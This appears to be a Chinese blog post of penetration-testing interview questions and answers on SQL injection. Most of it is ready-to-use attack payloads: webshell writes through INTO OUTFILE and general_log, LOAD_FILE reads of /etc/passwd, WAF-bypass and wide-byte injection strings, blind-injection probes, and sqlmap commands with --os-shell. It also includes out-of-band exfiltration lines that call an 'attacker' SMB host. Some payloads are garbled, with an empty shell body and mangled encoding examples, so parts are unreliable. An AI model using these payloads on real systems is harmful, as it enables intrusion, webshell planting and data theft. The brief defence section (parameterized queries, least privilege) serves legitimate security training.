> 技术文档 > 2025年渗透测试面试题总结-02(题目+回答)

2025年渗透测试面试题总结-02(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

SQLi

一、获取Webshell的多种思路(针对test.jsp?cid=150 )

二、变形注入绕过技巧

三、MySQL写入一句话的条件

四、MySQL 5.0+与5.0-注入差异

五、SQLMap实战注入方法

六、SQL注入Bypass技巧

七、SQL注入全解析

八、宽字节注入原理与利用

九、SQL注入检测方法

SQLi

发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路?mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?Mysql的网站注入,5.0以上和5.0以下有什么区别?sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包?你都了解哪些SQL注入的bypass技巧?介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?如何判断SQL注入,有哪些方法,说说你最常用的?

一、获取Webshell的多种思路(针对test.jsp?cid=150

  1. 直接写入Webshell

    sql?cid=150\'; SELECT \'\' INTO OUTFILE \'/var/www/html/shell.php\'--+ 

    条件

    • MySQL用户需具备FILE权限
    • 已知Web绝对路径(可通过@@datadir推测)
    • secure_file_priv未限制写入目录
  2. 日志文件篡改

    sql?cid=150\'; SET global general_log_file=\'/var/www/html/log.php\'; SET global general_log=on; SELECT \'\';--+ 

    原理:将SQL日志写入Web目录并包含恶意代码。

  3. UNION注入读取敏感文件

    sql?cid=-150 UNION SELECT LOAD_FILE(\'/etc/passwd\'),2,3--+ 

    目的:获取配置文件(如/etc/apache2/sites-enabled/000-default.conf )定位Web路径。


二、变形注入绕过技巧

变形类型 绕过方案 Payload示例 Base64编码 嵌套解码函数 ?id=MQ==\' UNION SELECT 1,2,3 FROM users WHERE \'1\'=\'1 → 后端解码后执行 JSON包装 闭合JSON结构 {\"id\":\"1\' AND 1=2 UNION SELECT @@version,2-- \"} 特殊字符过滤 等价函数替换 SELSELECTECT → 双写绕过(过滤SELECT

三、MySQL写入一句话的条件

  1. 核心权限
    • SHOW VARIABLES LIKE \'secure_file_priv\'值为空或目标路径
    • SELECT File_priv FROM mysql.user WHERE user=\'当前用户\' = Y
  2. 路径要求
    • 通过报错/配置文件泄露获取Web绝对路径
    • 目录需有写权限(Linux:www-data用户权限)
  3. 语句构造
    sqlUNION SELECT \"\",2,3 INTO OUTFILE \'/var/www/shell.php\'--+ 

四、MySQL 5.0+与5.0-注入差异

特性 5.0以下 5.0以上 信息获取 暴力猜解表名/列名 直接查询information_schema Payload复杂度 需盲注或基于错误 可UNION联合查询 函数支持group_concat()等函数 支持丰富函数

五、SQLMap实战注入方法

GET型注入

bashsqlmap -u \"http://target.com/test.jsp?cid=150\" --batch --dbs

POST型注入

  1. 保存请求包为post.txt
    httpPOST /login.jsp HTTP/1.1 ... username=admin&password=123 
  2. 执行:
    bashsqlmap -r post.txt -p \"username\" --os-shell

六、SQL注入Bypass技巧

防御方式 绕过方案 案例 关键字过滤 大小写混合/URL编码 UnIoN%55%6E%69%6F%6E WAF规则 分块传输/注释混淆 /*!50000SELECT*/(MySQL特性) 参数类型 数组参数污染 ?id=1&id=2 UNION SELECT 1,2,3--

七、SQL注入全解析

漏洞成因
用户输入未过滤直接拼接到SQL语句(如:\"SELECT * FROM users WHERE id=\" + input)。

防御方案

  • 参数化查询PreparedStatement绑定参数
  • 最小权限原则:数据库账户禁用FILE/EXECUTE权限
  • WAF规则:过滤UNIONSELECT等关键字

注入方式

  • 报错注入:?id=1\' AND updatexml(1,concat(0x7e,@@version),1)--
  • 布尔盲注:?id=1\' AND SUBSTRING(@@version,1,1)=\'5\'--
  • 时间盲注:?id=1\' AND IF(1=1,SLEEP(5),0)--

进阶利用

  • 读取文件:UNION SELECT LOAD_FILE(\'/etc/passwd\'),1,1
  • SSRF攻击:?id=1\'; SELECT LOAD_FILE(\'\\\\\\\\attacker\\\\share\')--

八、宽字节注入原理与利用

原理
GBK等编码中,%df%27%df+\'0x27)被解析为汉字“運”(0xdf5c),使单引号逃逸。

Payload构造

sql?cid=150%df%27 AND 1=2 UNION SELECT 1,@@version,3--+ 

修复方案

  • 统一使用UTF-8编码
  • 过滤前执行mysql_set_charset(\'utf8\')

九、SQL注入检测方法

  1. 经典报错法
    sql?id=150\' # 观察是否返回数据库错误信息
  2. 布尔逻辑法
    sql?id=150 AND 1=1 # 正常显示 ?id=150 AND 1=2 # 内容消失
  3. 时间延迟法(最隐蔽)
    sql?id=150\' AND IF(SUBSTRING(@@version,1,1)=\'5\',SLEEP(5),0)--+
  4. 工具扫描法
    bashsqlmap -u \"url\" --level=3 --risk=3

实战经验提示

  • MySQL 5.0+优先利用information_schema快速获取表结构
  • 写入Webshell时尝试多路径(如/tmp//var/www/html//opt/
  • 遇WAF必用--tamper脚本(推荐charencode.pyapostrophemask.py
  • 无写权限时转向SMB中继攻击DNS带外数据泄露LOAD_FILE(\'\\\\\\\\attacker\\\\test\')